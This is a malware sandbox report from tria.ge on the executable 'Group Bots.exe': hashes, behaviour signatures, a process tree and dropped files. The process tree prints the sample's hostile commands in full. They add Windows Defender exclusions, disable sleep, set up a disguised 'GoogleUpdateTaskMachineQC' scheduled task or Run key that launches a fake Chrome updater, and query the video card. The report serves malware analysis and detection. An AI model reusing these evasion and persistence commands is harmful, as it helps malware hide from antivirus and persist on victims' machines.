Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    148s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    25/08/2023, 14:39

General

  • Target

    Group Bots.exe

  • Size

    1.6MB

  • MD5

    f5a2da741ab2b11ecd79d957f205e4bc

  • SHA1

    62d9022f4b72268fb2523cf849ed9b9b0a162888

  • SHA256

    9824e1ed7f0224fbcc9f3e93bb645500fff8d8841d9adb0da49667cce9537d2a

  • SHA512

    12cb4ee676c720989a70b3babd8973b678e6b27cf55375e4b9d5dc5c6312513ef3b27de11a4802c9f3b6d41bb52f2fffe0ba87a2bfd4fe9a23185b40596e2c68

  • SSDEEP

    49152:KNm+gSx2NFNJL2enS7U6LGsGjbkhBuvS5XMjViyHR:KNmQgNF7SpL3Gjbk/MW8jViu

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 38 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1268
      • C:\Users\Admin\AppData\Local\Temp\Group Bots.exe
        "C:\Users\Admin\AppData\Local\Temp\Group Bots.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2592
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        2⤵
          PID:1900
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2108
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2792
          • C:\Windows\System32\powercfg.exe
            powercfg /x -hibernate-timeout-ac 0
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2116
          • C:\Windows\System32\powercfg.exe
            powercfg /x -hibernate-timeout-dc 0
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1140
          • C:\Windows\System32\powercfg.exe
            powercfg /x -standby-timeout-ac 0
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1308
          • C:\Windows\System32\powercfg.exe
            powercfg /x -standby-timeout-dc 0
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1500
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hizrhk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2804
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
            3⤵
            • Creates scheduled task(s)
            PID:1860
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#jxtsdguy#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2520
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:2400
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1968
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hizrhk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2824
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Creates scheduled task(s)
              PID:2248
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:756
            • C:\Windows\System32\powercfg.exe
              powercfg /x -hibernate-timeout-ac 0
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2244
            • C:\Windows\System32\powercfg.exe
              powercfg /x -hibernate-timeout-dc 0
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1404
            • C:\Windows\System32\powercfg.exe
              powercfg /x -standby-timeout-ac 0
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2132
            • C:\Windows\System32\powercfg.exe
              powercfg /x -standby-timeout-dc 0
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2120
          • C:\Windows\explorer.exe
            "C:\Windows\explorer.exe"
            2⤵
              PID:1056
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe gtrysbcmccaumjk
              2⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Suspicious behavior: EnumeratesProcesses
              PID:112
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              • Suspicious use of WriteProcessMemory
              PID:552
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic PATH Win32_VideoController GET Name, VideoProcessor
                3⤵
                • Detects videocard installed
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                PID:1664
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              PID:2236
          • C:\Windows\system32\taskeng.exe
            taskeng.exe {0DD6D058-95AD-4368-A5E0-A45820DFB2E9} S-1-5-18:NT AUTHORITY\System:Service:
            1⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:2308
            • C:\Program Files\Google\Chrome\updater.exe
              "C:\Program Files\Google\Chrome\updater.exe"
              2⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2172

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Program Files\Google\Chrome\updater.exe

            Filesize

            1.6MB

            MD5

            f5a2da741ab2b11ecd79d957f205e4bc

            SHA1

            62d9022f4b72268fb2523cf849ed9b9b0a162888

            SHA256

            9824e1ed7f0224fbcc9f3e93bb645500fff8d8841d9adb0da49667cce9537d2a

            SHA512

            12cb4ee676c720989a70b3babd8973b678e6b27cf55375e4b9d5dc5c6312513ef3b27de11a4802c9f3b6d41bb52f2fffe0ba87a2bfd4fe9a23185b40596e2c68

          • C:\Program Files\Google\Chrome\updater.exe

            Filesize

            1.6MB

            MD5

            f5a2da741ab2b11ecd79d957f205e4bc

            SHA1

            62d9022f4b72268fb2523cf849ed9b9b0a162888

            SHA256

            9824e1ed7f0224fbcc9f3e93bb645500fff8d8841d9adb0da49667cce9537d2a

            SHA512

            12cb4ee676c720989a70b3babd8973b678e6b27cf55375e4b9d5dc5c6312513ef3b27de11a4802c9f3b6d41bb52f2fffe0ba87a2bfd4fe9a23185b40596e2c68

          • C:\Program Files\Google\Libs\g.log

            Filesize

            198B

            MD5

            37dd19b2be4fa7635ad6a2f3238c4af1

            SHA1

            e5b2c034636b434faee84e82e3bce3a3d3561943

            SHA256

            8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

            SHA512

            86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

            Filesize

            7KB

            MD5

            84ab2f1f1f55fb70ef2cd8fbd8aaa825

            SHA1

            2dc0d74e0a5562dcd284339c0190eb1ae555c99a

            SHA256

            7f532cf462cbeb7987ee52a2c7eb09903ca4a003561e90fcb2935a74955a0de2

            SHA512

            a823cf6f2f6c520830ea94a320cbe201255208c2dbd4d51c7b1b5795fa7293fa668eacc4f08849785d25dcd57d44374ac3bf6eb81a7d91b6283d233f7ebb3a53

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

            Filesize

            7KB

            MD5

            84ab2f1f1f55fb70ef2cd8fbd8aaa825

            SHA1

            2dc0d74e0a5562dcd284339c0190eb1ae555c99a

            SHA256

            7f532cf462cbeb7987ee52a2c7eb09903ca4a003561e90fcb2935a74955a0de2

            SHA512

            a823cf6f2f6c520830ea94a320cbe201255208c2dbd4d51c7b1b5795fa7293fa668eacc4f08849785d25dcd57d44374ac3bf6eb81a7d91b6283d233f7ebb3a53

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VUYLW8UGUK6URZK754WX.temp

            Filesize

            7KB

            MD5

            84ab2f1f1f55fb70ef2cd8fbd8aaa825

            SHA1

            2dc0d74e0a5562dcd284339c0190eb1ae555c99a

            SHA256

            7f532cf462cbeb7987ee52a2c7eb09903ca4a003561e90fcb2935a74955a0de2

            SHA512

            a823cf6f2f6c520830ea94a320cbe201255208c2dbd4d51c7b1b5795fa7293fa668eacc4f08849785d25dcd57d44374ac3bf6eb81a7d91b6283d233f7ebb3a53

          • \Program Files\Google\Chrome\updater.exe

            Filesize

            1.6MB

            MD5

            f5a2da741ab2b11ecd79d957f205e4bc

            SHA1

            62d9022f4b72268fb2523cf849ed9b9b0a162888

            SHA256

            9824e1ed7f0224fbcc9f3e93bb645500fff8d8841d9adb0da49667cce9537d2a

            SHA512

            12cb4ee676c720989a70b3babd8973b678e6b27cf55375e4b9d5dc5c6312513ef3b27de11a4802c9f3b6d41bb52f2fffe0ba87a2bfd4fe9a23185b40596e2c68

          • memory/112-70-0x0000000140000000-0x0000000140016000-memory.dmp

            Filesize

            88KB

          • memory/112-68-0x0000000140000000-0x0000000140016000-memory.dmp

            Filesize

            88KB

          • memory/1968-52-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

            Filesize

            9.6MB

          • memory/1968-51-0x0000000001060000-0x00000000010E0000-memory.dmp

            Filesize

            512KB

          • memory/1968-50-0x0000000001060000-0x00000000010E0000-memory.dmp

            Filesize

            512KB

          • memory/1968-53-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

            Filesize

            9.6MB

          • memory/1968-49-0x0000000001060000-0x00000000010E0000-memory.dmp

            Filesize

            512KB

          • memory/1968-48-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

            Filesize

            9.6MB

          • memory/2108-11-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

            Filesize

            9.6MB

          • memory/2108-13-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

            Filesize

            9.6MB

          • memory/2108-12-0x0000000002680000-0x0000000002700000-memory.dmp

            Filesize

            512KB

          • memory/2108-10-0x0000000002680000-0x0000000002700000-memory.dmp

            Filesize

            512KB

          • memory/2108-9-0x0000000002680000-0x0000000002700000-memory.dmp

            Filesize

            512KB

          • memory/2108-8-0x0000000002680000-0x0000000002700000-memory.dmp

            Filesize

            512KB

          • memory/2108-6-0x0000000002250000-0x0000000002258000-memory.dmp

            Filesize

            32KB

          • memory/2108-7-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

            Filesize

            9.6MB

          • memory/2108-5-0x000000001B290000-0x000000001B572000-memory.dmp

            Filesize

            2.9MB

          • memory/2172-61-0x000000013F220000-0x000000013F3C7000-memory.dmp

            Filesize

            1.7MB

          • memory/2172-67-0x000000013F220000-0x000000013F3C7000-memory.dmp

            Filesize

            1.7MB

          • memory/2172-47-0x000000013F220000-0x000000013F3C7000-memory.dmp

            Filesize

            1.7MB

          • memory/2520-38-0x0000000002620000-0x00000000026A0000-memory.dmp

            Filesize

            512KB

          • memory/2520-43-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

            Filesize

            9.6MB

          • memory/2520-41-0x0000000002620000-0x00000000026A0000-memory.dmp

            Filesize

            512KB

          • memory/2520-40-0x0000000002620000-0x00000000026A0000-memory.dmp

            Filesize

            512KB

          • memory/2520-39-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

            Filesize

            9.6MB

          • memory/2520-37-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

            Filesize

            9.6MB

          • memory/2520-42-0x0000000002620000-0x00000000026A0000-memory.dmp

            Filesize

            512KB

          • memory/2592-26-0x000000013F280000-0x000000013F427000-memory.dmp

            Filesize

            1.7MB

          • memory/2592-0-0x000000013F280000-0x000000013F427000-memory.dmp

            Filesize

            1.7MB

          • memory/2592-30-0x000000013F280000-0x000000013F427000-memory.dmp

            Filesize

            1.7MB

          • memory/2804-20-0x0000000001F00000-0x0000000001F08000-memory.dmp

            Filesize

            32KB

          • memory/2804-28-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

            Filesize

            9.6MB

          • memory/2804-19-0x000000001B2A0000-0x000000001B582000-memory.dmp

            Filesize

            2.9MB

          • memory/2804-21-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

            Filesize

            9.6MB

          • memory/2804-22-0x00000000027E0000-0x0000000002860000-memory.dmp

            Filesize

            512KB

          • memory/2804-24-0x00000000027E0000-0x0000000002860000-memory.dmp

            Filesize

            512KB

          • memory/2804-25-0x00000000027E0000-0x0000000002860000-memory.dmp

            Filesize

            512KB

          • memory/2804-27-0x00000000027E0000-0x0000000002860000-memory.dmp

            Filesize

            512KB

          • memory/2804-23-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

            Filesize

            9.6MB

          • memory/2824-57-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

            Filesize

            9.6MB

          • memory/2824-62-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

            Filesize

            9.6MB

          • memory/2824-60-0x0000000001200000-0x0000000001280000-memory.dmp

            Filesize

            512KB

          • memory/2824-58-0x0000000001200000-0x0000000001280000-memory.dmp

            Filesize

            512KB

          • memory/2824-59-0x0000000001200000-0x0000000001280000-memory.dmp

            Filesize

            512KB

          • memory/2824-56-0x0000000001200000-0x0000000001280000-memory.dmp

            Filesize

            512KB

          • memory/2824-55-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

            Filesize

            9.6MB